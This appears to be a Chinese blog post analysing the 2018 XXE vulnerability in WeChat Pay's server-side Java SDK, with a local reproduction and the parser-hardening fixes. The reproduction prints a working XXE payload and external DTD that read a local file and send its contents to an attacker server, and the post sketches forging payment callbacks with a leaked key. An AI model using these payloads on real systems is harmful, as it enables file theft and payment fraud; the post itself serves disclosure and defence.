zoukankan      html  css  js  c++  java
  • 谈谈微信支付曝出的漏洞

    一、背景

    昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为,其中就包括众多媒体所宣传的“0元也能买买买”。

    漏洞报告地址;http://seclists.org/fulldisclosure/2018/Jul/3

    二、漏洞原理

    1.  XXE漏洞

    此次曝出的漏洞属于XXE漏洞,即XML外部实体注入(XML External Entity Injection)。

    XML文档除了可以包含声明和元素以外,还可以包含文档类型定义(即DTD);如下图所示。

    在DTD中,可以引进实体,在解析XML时,实体将会被替换成相应的引用内容。该实体可以由外部引入(支持http、ftp等协议,后文以http为例说明),如果通过该外部实体进行攻击,就是XXE攻击。

    可以说,XXE漏洞之所以能够存在,本质上在于在解析XML的时候,可以与外部进行通信;当XML文档可以由攻击者任意构造时,攻击便成为可能。在利用XXE漏洞可以做的事情当中,最常见最容易实现的,便是读取服务器的信息,包括目录结构、文件内容等;本次微信支付爆出的漏洞便属于这一种。

    2.  微信支付漏洞

    本次漏洞影响的范围是:在微信支付异步回调接口中,使用微信支付SDK进行XML解析的应用。注意这里的SDK是服务器端的SDK,APP端使用SDK并不受影响。

    SDK下载地址如下(目前微信官方宣传漏洞已修复):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

    SDK中导致漏洞的代码是WXPayUtil工具类中的xmlToMap()方法:

    如上图所示,由于在解析XML时没有对外部实体的访问做任何限制,如果攻击者恶意构造xml请求,便可以对服务器进行攻击。下面通过实例介绍攻击的方法。

    3.  攻击复现

    下面在本机环境下进行复现。

    假设本地的web服务器127.0.0.1:8080中存在POST接口:/wxpay/callback,该接口中接收xml字符串做参数,并调用前述的WXPayUtil.xmlToMap(strXml)对xml参数进行解析。此外,/etc/password中存储了重要的密码数据(如password1234)。

    攻击时构造的请求如下:

    其中xml内容如下:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
        <!ENTITY % file SYSTEM "file:///etc/password">
        <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
        %xxe;
    ]>

    其中/etc/password为要窃取的对象,http://127.0.0.1:9000/xxe.dtd为攻击者服务器中的dtd文件,内容如下:

    <!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>">
    %shell;
    %upload;

    通过xml+dtd文件,攻击者便可以在服务器http://127.0.0.1:9000中收到如下请求:

    http://127.0.0.1:9000/evil/password1234

    这样,攻击者便得到了/etc/password文件的内容。

    在本例中,攻击者窃取了/etc/password文件中的内容,实际上攻击者还可以获取服务器中的目录结构以及其他文件,只要启动web应用的用户具有相应的读权限。如果获取的信息比较复杂,如包含特殊符号,无法直接通过http的URL发送,则可以采用对文件内容进行Base64编码等方法解决。

    三、漏洞的解决

    解决该漏洞的原理非常简单,只要禁止解析XML时访问外部实体即可。

    漏洞曝出以后,微信进行了紧急修复,一方面是更新了SDK,并提醒开发者使用最新的SDK;SDK中修复代码如下:

    加入了如下两行代码:

    documentBuilderFactory.setExpandEntityReferences(false);
    documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

    更新:微信重新发表声明,上述2条语句无法禁止该漏洞,再次更新了官方SDK,加了以下语句:

    documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    documentBuilderFactory.setXIncludeAware(false);
    documentBuilderFactory.setExpandEntityReferences(false);

    此外,微信官方也给出了关于XXE漏洞的最佳安全实践,可以参考:

    https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

    笔者本人使用上述方案中建议的如下代码修复了该漏洞:

    DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
    documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
    ……
    

    四、扩展与反思

    1.  危害不只是“0元也能买买买”

    在很多媒体的报道中,强调该漏洞的风险在于攻击者可以不支付也可以获得商品。确实,攻击者在通过上述漏洞获得微信支付的秘钥以后,有不止一种途径可以做到不支付就获得商品:例如,攻击者首先在系统中下单,获得商户订单号;然后便可以调用微信支付的异步回调,其中的签名参数便可以使用前面获取的秘钥对订单号等信息进行MD5获得;这样攻击者的异步回调就可以通过应用服务器的签名认证,从而获得商品。不过,在很多有一定规模的购物网站(或其他有支付功能的网站),会有对账系统,如定时将系统中的订单状态与微信、支付宝的后台对比,如果出现不一致可以及时报警并处理,因此该漏洞在这方面的影响可能并没有想象的那么大。

    然而,除了“0元也能买买买”,攻击者可以做的事情还有很多很多;理论上来说,攻击者可能获得应用服务器上的目录结构、代码、数据、配置文件等,可以根据需要进行进一步破坏。

    2.  漏洞不限于微信支付SDK

    虽然微信支付曝出该漏洞受到了广泛关注,但该漏洞绝不仅仅存在于微信支付中:由于众多XML解析器默认不会禁用对外部实体的访问,因此应用的接口如果有以下几个特点就很容易掉进XXE漏洞的坑里:

    (1)接口使用xml做请求参数

    (2)接口对外公开,或容易获得:例如一些接口提供给外部客户调用,或者接口使用http很容易抓包,或者接口比较容易猜到(如微信支付的异步回调接口)

    (3)接口中解析xml参数时,没有禁用对外部实体的访问

    建议大家最好检查一下自己的应用中是否有类似的漏洞,及时修复。

    3.  xml与json

    xml 与 json是系统间交互常用的两种数据格式,虽然很多情况下二者可以互换,但是笔者认为,json 作为更加轻量级更加纯粹的数据格式,更适合于系统间的交互;而xml,作为更加重量级更加复杂的数据格式,其 DTD 支持自定义文档类型,在更加复杂的配置场景下有着更好的效果,典型的场景如 spring 相关的配置。

    4.  题外话:微信支付的签名认证

    在前面曾经提到,应用中存储的秘钥一旦泄露,攻击者便可以完全绕过签名认证,这是因为微信支付使用的是对称式的签名认证:微信方和应用方,使用相同的秘钥对相同的明文进行MD5签名,只要应用方的秘钥泄露,签名认证就完全成了摆设。

    在这方面支付宝的做法更规范也更安全:支付宝为应用生成公私钥对,公钥由应用方保存,私钥由支付宝保存;在回调时,支付宝使用私钥进行签名,应用方使用公钥进行验证;这样只要支付宝保存的私钥不泄露,攻击者只有公钥则难以通过签名认证。

    参考文献

    https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

    http://seclists.org/fulldisclosure/2018/Jul/3

    https://www.cnblogs.com/tongwen/p/5194483.html

    创作不易,如果文章对你有帮助,就点个赞、评个论呗~

    创作不易,如果文章对你有帮助,就点个赞、评个论呗~

    创作不易,如果文章对你有帮助,就点个赞、评个论呗~

  • 相关阅读:
    26 转义符 re模块 方法 random模块 collection模块的Counter方法
    25 正则表达式
    24 from 模块 import 名字
    24 from 模块 import 名字
    24 from 模块 import 名字
    23 析构方法 items系列 hash方法 eq方法
    21 isinstance issubclass 反射 _str_ _new_ _len_ _call_
    20 属性, 类方法, 静态方法. python2与python3的区别.
    python(1)
    python之字符串格式化
  • 原文地址:https://www.cnblogs.com/kismetv/p/9266224.html
Copyright © 2011-2022 走看看